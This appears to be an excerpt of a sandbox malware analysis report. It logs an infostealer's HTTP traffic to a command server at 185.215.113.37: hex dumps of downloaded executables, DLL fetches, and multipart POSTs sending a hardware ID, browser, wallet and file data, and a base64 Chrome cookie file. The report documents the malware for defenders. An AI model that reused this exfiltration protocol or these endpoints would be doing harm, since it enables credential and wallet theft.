14 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 4c 00 00 22 00 00 00 18 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 23 Oct 2024 23:10:50 GMTContent-Type: application/octet-streamContent-Length: 1809408Last-Modified: Wed, 23 Oct 2024 22:45:40 GMTConnection: keep-aliveETag: "67197c94-1b9c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 40 68 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 68 00 00 04 00 00 e1 5d 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 29 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 69 73 64 63 61 74 61 00 40 19 00 00 f0 4e 00 00 3a 19 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 61 7a 75 78 76 6b 70 00 10 00 00 00 30 68 00 00 04 00 00 00 76 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 68 00 00 22 00 00 00 7a 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 23 Oct 2024 23:10:52 GMTContent-Type: application/octet-streamContent-Length: 2777088Last-Modified: Wed, 23 Oct 2024 21:59:29 GMTConnection: keep-aliveETag: "671971c1-2a6000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 4a 78 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 67 6b 73 76 6b 6d 7a 79 00 00 2a 00 00 a0 00 00 00 00 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 69 67 69 73 6c 6e 65 00 20 00 00 00 a0 2a 00 00 04 00 00 00 3a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2a 00 00 22 00 00 00 3e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

HTTP GET or POST without a user agent

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGDHIDAAFHIIDGDBFIEHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 48 49 44 41 41 46 48 49 49 44 47 44 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 46 36 30 36 38 42 39 44 35 41 32 36 39 39 32 39 33 31 33 30 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 49 44 41 41 46 48 49 49 44 47 44 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 49 44 41 41 46 48 49 49 44 47 44 42 46 49 45 2d 2d 0d 0a Data Ascii: ------ECGDHIDAAFHIIDGDBFIEContent-Disposition: form-data; name="hwid"BF6068B9D5A2699293130------ECGDHIDAAFHIIDGDBFIEContent-Disposition: form-data; name="build"doma------ECGDHIDAAFHIIDGDBFIE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHIJDHIDBGHJKECBFIIDHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 65 64 62 61 33 61 66 31 37 61 39 61 39 35 30 62 39 30 33 65 62 65 62 63 35 63 32 31 36 37 66 35 33 30 61 36 34 31 31 66 66 30 30 33 61 34 32 63 66 39 32 39 32 32 34 65 31 62 39 34 61 30 34 38 39 35 63 30 66 37 33 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 2d 2d 0d 0a Data Ascii: ------DHIJDHIDBGHJKECBFIIDContent-Disposition: form-data; name="token"5edba3af17a9a950b903ebebc5c2167f530a6411ff003a42cf929224e1b94a04895c0f73------DHIJDHIDBGHJKECBFIIDContent-Disposition: form-data; name="message"browsers------DHIJDHIDBGHJKECBFIID--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAECFHJEBAAFIEBGHIIEHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 45 43 46 48 4a 45 42 41 41 46 49 45 42 47 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 65 64 62 61 33 61 66 31 37 61 39 61 39 35 30 62 39 30 33 65 62 65 62 63 35 63 32 31 36 37 66 35 33 30 61 36 34 31 31 66 66 30 30 33 61 34 32 63 66 39 32 39 32 32 34 65 31 62 39 34 61 30 34 38 39 35 63 30 66 37 33 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 43 46 48 4a 45 42 41 41 46 49 45 42 47 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 43 46 48 4a 45 42 41 41 46 49 45 42 47 48 49 49 45 2d 2d 0d 0a Data Ascii: ------BAECFHJEBAAFIEBGHIIEContent-Disposition: form-data; name="token"5edba3af17a9a950b903ebebc5c2167f530a6411ff003a42cf929224e1b94a04895c0f73------BAECFHJEBAAFIEBGHIIEContent-Disposition: form-data; name="message"plugins------BAECFHJEBAAFIEBGHIIE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGDGHCAAKECFHJKFIJKHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 47 44 47 48 43 41 41 4b 45 43 46 48 4a 4b 46 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 65 64 62 61 33 61 66 31 37 61 39 61 39 35 30 62 39 30 33 65 62 65 62 63 35 63 32 31 36 37 66 35 33 30 61 36 34 31 31 66 66 30 30 33 61 34 32 63 66 39 32 39 32 32 34 65 31 62 39 34 61 30 34 38 39 35 63 30 66 37 33 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 47 48 43 41 41 4b 45 43 46 48 4a 4b 46 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 47 48 43 41 41 4b 45 43 46 48 4a 4b 46 49 4a 4b 2d 2d 0d 0a Data Ascii: ------HDGDGHCAAKECFHJKFIJKContent-Disposition: form-data; name="token"5edba3af17a9a950b903ebebc5c2167f530a6411ff003a42cf929224e1b94a04895c0f73------HDGDGHCAAKECFHJKFIJKContent-Disposition: form-data; name="message"fplugins------HDGDGHCAAKECFHJKFIJK--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAKFCGIJKJKFHIDHIIIEHost: 185.215.113.37Content-Length: 5895Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAAFCAFCBKFHJJJKKFHHost: 185.215.113.37Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 65 64 62 61 33 61 66 31 37 61 39 61 39 35 30 62 39 30 33 65 62 65 62 63 35 63 32 31 36 37 66 35 33 30 61 36 34 31 31 66 66 30 30 33 61 34 32 63 66 39 32 39 32 32 34 65 31 62 39 34 61 30 34 38 39 35 63 30 66 37 33 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4d 54 45 32 4d 54 55 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 51 74 4d 54 4d 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 4d 77 4f 44 45 31 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 57 59 31 64 6c 42 47 52 33 63 74 54 56 70 5a 62 7a 56 6f 64 32 55 74 4d 46 52 6f 51 56 5a 7a 62 47 4a 34 59 6d 31 32 5a 46 5a 61 64 32 4e 49 62 6e 46 57 65 6c 64 49 51 56 55 78 4e 48 59 31 4d 30 31 4f 4d 56 5a 32 64 33 5a 52 63 54 68 69 59 56 6c 6d 5a 7a 49 74 53 55 46 30 63 56 70 43 56 6a 56 4f 54 30 77 31 63 6e 5a 71 4d 6b 35 58 53 58 46 79 65 6a 4d 33 4e 31 56 6f 54 47 52 49 64 45 39 6e 52 53 31 30 53 6d 46 43 62 46 56 43 57 55 70 46 61 48 56 48 63 31 46 6b 63 57 35 70 4d 32 39 55 53 6d 63 77 59 6e 4a 78 64 6a 46 6b 61 6d 52 70 54 45 70 35 64 6c 52 54 56 57 68 6b 53 79 31 6a 4e 55 70 58 59 57 52 44 55 33 4e 56 54 46 42 4d 65 6d 68 54 65 43 31 47 4c 54 5a 33 54 32 63 30 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 2d 2d 0d 0a Data Ascii: ------EBAAFCAFCBKFHJJJKKFHContent-Disposition: form-data; name="token"5edba3af17a9a950b903ebebc5c2167f530a6411ff003a42cf929224e1b94a04895c0f73------EBAAFCAFCBKFHJJJKKFHContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------EBAAFCAFCBKFHJJJKKFHContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Y
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDAEGHDGDBGDGDAAFIHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 65 64 62 61 33 61 66 31 37 61 39 61 39 35 30 62 39 30 33 65 62 65 62 63 35 63 32 31 36 37 66 35 33 30 61 36 34 31 31 66 66 30 30 33 61 34 32 63 66 39 32 39 32 32 34 65 31 62 39 34 61 30 34 38 39 35 63 30 66 37 33 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 2d 2d 0d 0a Data Ascii: ------AFHDAEGHDGDBGDGDAAFIContent-Disposition: form-data; name="token"5edba3af17a9a950b903ebebc5c2167f530a6411ff003a42cf929224e1b94a04895c0f73------AFHDAEGHDGDBGDGDAAFIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AFHDAEGHDGDBGDGDAAFIContent-Disposition: form-data; name="file"------AFHDAEGHDGDBGDGDAAFI--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KECGDBFCBKFIDHIDHDHIHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 65 64 62 61 33 61 66 31 37 61 39 61 39 35 30 62 39 30 33 65 62 65 62 63 35 63 32 31 36 37 66 35 33 30 61 36 34 31 31 66 66 30 30 33 61 34 32 63 66 39 32 39 32 32 34 65 31 62 39 34 61 30 34 38 39 35 63 30 66 37 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 49 2d 2d 0d 0a Data Ascii: ------KECGDBFCBKFIDHIDHDHIContent-Disposition: form-data; name="token"5edba3af17a9a950b903ebebc5c2167f530a6411ff003a42cf929224e1b94a04895c0f73------KECGDBFCBKFIDHIDHDHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KECGDBFCBKFIDHIDHDHIContent-Disposition: form-data; name="file"------KECGDBFCBKFIDHIDHDHI--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDAKFCGIJKJKFHIDHIIHost: 185.215.113.37Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJDGHJDBFIJKECAECAFHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 65 64 62 61 33 61 66 31 37 61 39 61 39 35 30 62 39 30 33 65 62 65 62 63 35 63 32 31 36 37 66 35 33 30 61 36 34 31 31 66 66 30 30 33 61 34 32 63 66 39 32 39 32 32 34 65 31 62 39 34 61 30 34 38 39 35 63 30 66 37 33 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 2d 2d 0d 0a Data Ascii: ------EHJDGHJDBFIJKECAECAFContent-Disposition: form-data; name="token"5edba3af17a9a950b903ebebc5c2167f530a6411ff003a42cf929224e1b94a04895c0f73------EHJDGHJDBFIJKECAECAFContent-Disposition: form-data; name="message"wallets------EHJDGHJDBFIJKECAECAF--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBFBFBFIIJDAKECAKKJEHost: 185.215.113.37Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 65 64 62 61 33 61 66 31 37 61 39 61 39 35 30 62 39 30 33 65 62 65 62 63 35 63 32 31 36 37 66 35 33 30 61 36 34 31 31 66 66 30 30 33 61 34 32 63 66 39 32 39 32 32 34 65 31 62 39 34 61 30 34 38 39 35 63 30 66 37 33 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 2d 2d 0d 0a Data Ascii: ------EBFBFBFIIJDAKECAKKJEContent-Disposition: 